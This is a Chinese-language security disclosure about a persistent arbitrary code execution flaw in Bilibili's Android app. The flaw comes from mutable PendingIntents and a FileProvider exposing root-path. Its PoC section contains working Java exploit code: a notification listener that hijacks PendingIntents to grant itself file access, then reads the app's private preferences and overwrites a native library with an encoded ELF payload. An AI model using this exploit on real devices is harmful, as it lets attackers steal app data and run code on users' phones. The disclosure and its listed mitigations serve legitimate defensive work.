Appearance
B站持久任意代码执行漏洞
概述
B站的安卓版本存在多处PendingIntent可以修改的漏洞,进而导致了任意代码执行漏洞. 针对版本为当前最新版6.57.0
什么是PendingIntent
关于PendingIntent的介绍,可以查看安卓官方网站. 这个组件的功能就是在于授予收到PendingIntent的其他进程可以以发出者的身份发出特定的Intent. 就像这个Intent是PendingIntent的创建者进程创建的一样. 主要应用场景由:
- Notification
- AppWidget
- 隐式/显式Intent直接携带
- 其他
如果PendingIntent发出的时候没有携带FLAG_IMMUTABLE,那么收到的人就可以对其携带的Intent进行修改,然后再发送出去,这时候就可以做许多有破坏性的工作.
漏洞描述
总共验证,存在三处持久任意代码执行,下面逐一描述.
App更新
如果app有新版本,那么可以关于处更新下载这个App,在apk文件下载完毕后会发送一个PendingIntent,而这个PendingIntent没有携带FLAG_IMMUTABLE,并且Intent的action,package均为空.
相关调用栈:
azure
at android.app.PendingIntent.getActivity(Native Method)
at android.app.PendingIntent.getActivity(PendingIntent.java:317)
at android.app.PendingIntent.getActivity(Native Method)
at tv.danmaku.bili.update.internal.network.download.UpdateService2.K(BL:2)
at tv.danmaku.bili.update.internal.network.download.UpdateService2.o(BL:1)
at tv.danmaku.bili.update.internal.network.download.UpdateService2$e.k(BL:2)
at com.bilibili.lib.okdownloader.internal.core.StatefulTaskWrapper$g.run(BL:3)
at android.os.Handler.handleCallback(Handler.java:938)
at android.os.Handler.dispatchMessage(Handler.java:99)
at android.os.Looper.loop(Looper.java:223)
at android.app.ActivityThread.main(ActivityThread.java:7664)
at java.lang.reflect.Method.invoke(Native Method)
at com.android.internal.os.RuntimeInit$MethodAndArgsCaller.run(RuntimeInit.java:592)
at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:947)
游戏下载
App的游戏中心可以下载游戏,在游戏apk文件下载完毕后,会发出一个PendingIntent,而这个PendingIntent没有携带FLAG_IMMUTABLE,并且Intent的package均为空.
相关调用栈:
azure
found getActivity1, action=android.intent.action.VIEW,package= null
java.lang.Throwable
at android.app.PendingIntent.getActivity(Native Method)
at com.bilibili.game.service.q.q.e(BL:9)
at com.bilibili.game.service.DownloadService.r(BL:21)
at com.bilibili.game.service.DownloadService.onStatusChange(BL:1)
at com.bilibili.game.service.k.handleMessage(BL:103)
at android.os.Handler.dispatchMessage(Handler.java:106)
at android.os.Looper.loop(Looper.java:223)
at android.app.ActivityThread.main(ActivityThread.java:7664)
at java.lang.reflect.Method.invoke(Native Method)
at com.android.internal.os.RuntimeInit$MethodAndArgsCaller.run(RuntimeInit.java:592)
at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:947)
这里由于这个PendingIntent携带了Data,并且Action是android.intent.action.VIEW
,所以必须匹配其filter才行.
xml
<intent-filter>
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.BROWSABLE" />
<category android:name="android.intent.category.DEFAULT" />
<data android:scheme="file" />
<data android:scheme="content" />
<data android:scheme="qb" />
<data android:mimeType="*/*" />
</intent-filter>
视频缓存
找到任意视频播放,然后点击右上角的...
,选择缓存,这时候会对发送一个PendingIntent,这个Intent是一个典型的双无Intent.
Intent的修改
在Manifest文件中可以发现
xml
<provider android:name="com.bilibili.app.comm.list.common.downloadapk.DownloadApkProvider" android:exported="false" android:authorities="tv.danmaku.bili.apkdownloader.fileprovider" android:grantUriPermissions="true">
<meta-data android:name="android.support.FILE_PROVIDER_PATHS" android:resource="@xml/a_res_0x7f14000d"/>
</provider>
a_res_0x7f14000d.xml
xml
<?xml version="1.0" encoding="utf-8"?>
<paths>
<external-files-path name="game_apk" path="apks"/>
<external-files-path name="app_update" path="update"/>
<root-path name="root" path=""/>
<cache-path name="internal" path="boxing"/>
<external-path name="external" path="DCIM/bili/boxing"/>
<external-files-path name="opensdk_external" path="Images/tmp"/>
<root-path name="opensdk_root" path=""/>
<external-files-path name="shareData" path="gif"/>
<external-files-path name="share_files" path="."/>
</paths>
这里对外暴露了一个FileProvider,并且android:grantUriPermissions="true"
,这时候可以参考我的文章为什么要保护未导出组件.
so 文件的自动加载
经过对代码的分析,可以发现,App每次启动的时候会自动加载/data/data/tv.danmaku.bili/lib-main/libimagepipeline.so
,所以如果我们能够覆盖这个so文件,就可以做到代码的持久任意执行. 具体思路可以参考我的文章Tiktok持久任意代码执行漏洞.
poc
首先,要存在一个可以接受Notification的NotificationListenerService
:
java
public class NotificationHijack extends NotificationListenerService {
String tag="xxxx";
@SuppressLint("NewApi")
@RequiresApi(api = Build.VERSION_CODES.M)
@Override
public void onNotificationPosted(StatusBarNotification sbn) {
Notification notification = sbn.getNotification();
if (notification == null) {
return;
}
Log.e(tag,"receive notification");
send(notification.contentIntent);
send(notification.deleteIntent);
try {
Field field = notification.getClass().getDeclaredField("allPendingIntents");
field.setAccessible(true);
ArraySet<PendingIntent> allPendingIntents = (ArraySet<PendingIntent>) field.get(notification);
if(allPendingIntents!=null){
for (PendingIntent pi :allPendingIntents
) {
send(pi);
}
}
} catch (Exception e) {
e.printStackTrace();
}
send(notification.fullScreenIntent);
Notification.Action[] actions = notification.actions;
if(actions!=null){
for (Notification.Action na: actions
) {
send(na.actionIntent);
}
}
if(notification.getBubbleMetadata()!=null){
send(notification.getBubbleMetadata().getIntent());
send(notification.getBubbleMetadata().getDeleteIntent());
}
}
private void send(PendingIntent pi){
Log.e(tag,"send,"+pi);
try {
if (pi != null) {
pi.describeContents();
Intent intent = new Intent("evil");
intent.setPackage(getPackageName());
intent.addFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION | Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
intent.setClass(this,EvilActivity.class);
intent.setClipData(ClipData.newRawUri(null, Uri.parse("content://tv.danmaku.bili.apkdownloader.fileprovider/root/data/data/tv.danmaku.bili/shared_prefs/sync.xml")));
intent.getClipData().addItem(new ClipData.Item(Uri.parse("content://tv.danmaku.bili.apkdownloader.fileprovider/root/data/data/tv.danmaku.bili/lib-main/libimagepipeline.so")));
Log.e(tag,"pisend,"+pi.toString());
pi.send(this, 0, intent, new PendingIntent.OnFinished() {
@Override
public void onSendFinished(PendingIntent pendingIntent, Intent intent, int resultCode, String resultData, Bundle resultExtras) {
if(intent.getComponent()!=null){
return;
}
String action = intent.getAction();
String aPackage = intent.getPackage();
ClipData data=intent.getClipData();
if( (action!=null && action.equals("evil")) ||
(aPackage!=null && aPackage.equals(getPackageName()))){
Log.e(tag, "Hijack success From pkg: " + pendingIntent.getCreatorPackage() + ". Intent Uri: " + intent.toUri(Intent.URI_INTENT_SCHEME));
}
}
}, null);
}
} catch (PendingIntent.CanceledException e) {
e.printStackTrace();
Log.e(tag,"cancled");
}
}
}
这里的主要工作是收到以后,通过反射的方式提取到这个PendingIntent,然后修改其携带的Intent,对其添加Intent.FLAG_GRANT_READ_URI_PERMISSION | Intent.FLAG_GRANT_WRITE_URI_PERMISSION
, 同时添加intent.getClipData().addItem(new ClipData.Item(Uri.parse("content://tv.danmaku.bili.apkdownloader.fileprovider/root/data/data/tv.danmaku.bili/lib-main/libimagepipeline.so")));
,目的在于将这个intent转发给自己的EvilActivity,这样就可以为自己授权文件访问的权限了. EvilActivity:
java
public class EvilActivity extends Activity {
String tag="xxxx";
public final static String s="f0VMRgEBAQAAAAAAAAAAAAMAKAABAAAAAAAAADQAAABcIwAAAAIABTQAIAAIACgAGQAYAAYAAAA0AAAANAAAADQAAAAAAQAAAAEAAAQAAAAEAAAAAQAAAAAAAAAAAAAAAAAAALARAACwEQAABQAAAAAQAAABAAAAsB4AALAuAACwLgAAtAEAAMABAAAGAAAAABAAAAIAAAC4HgAAuC4AALguAAAQAQAAEAEAAAYAAAAEAAAABAAAADQBAAA0AQAANAEAALwAAAC8AAAABAAAAAQAAABR5XRkAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAEAAAAAEAAHBMDQAATA0AAEwNAACoAAAAqAAAAAQAAAAEAAAAUuV0ZLAeAACwLgAAsC4AAFABAABQAQAABgAAAAQAAAAIAAAAhAAAAAEAAABBbmRyb2lkABAAAAByMTljAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA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kIAAApgEAAAAAAAAAAAAAAQAAAAEAAADXAAAABwAAAAAAAAAAAAAADCIAABwAAAAAAAAAAAAAAAQAAAAAAAAA7gAAAAMAAHAAAAAAAAAAACgiAAA2AAAAAAAAAAAAAAABAAAAAAAAAAEAAAADAAAAAAAAAAAAAABeIgAA/gAAAAAAAAAAAAAAAQAAAAAAAAA=";
@Override
protected void onCreate(@Nullable Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
Log.e(tag,"receive oncreate");
ClipData clipData = getIntent().getClipData();
if(clipData!=null){
try {
Log.e(tag,"receive clipdata");
Uri uri1 = clipData.getItemAt(0).getUri();
InputStream inputStream = getContentResolver().openInputStream(uri1);
Log.e("Hijack read", IOUtils.toString(inputStream));
Uri uri2 = clipData.getItemAt(1).getUri();
OutputStream outputStream = getContentResolver().openOutputStream(uri2);
IOUtils.write(Base64.decode(s,Base64.DEFAULT), outputStream);
outputStream.close();
} catch (Exception e) {
e.printStackTrace();
}
}
}
}
收到以后,写入这个so即可.
这个libimagepipeline.so
是我们修改后的,会在加载的时候在app根目录创建poc文件,并写入123
.
如何防范此类攻击
- PendingIntent都应该携带FLAG_IMMUTABLE
- FileProvider不要暴露
root-path
.
其他
完整的项目可以参见b站任意代码执行poc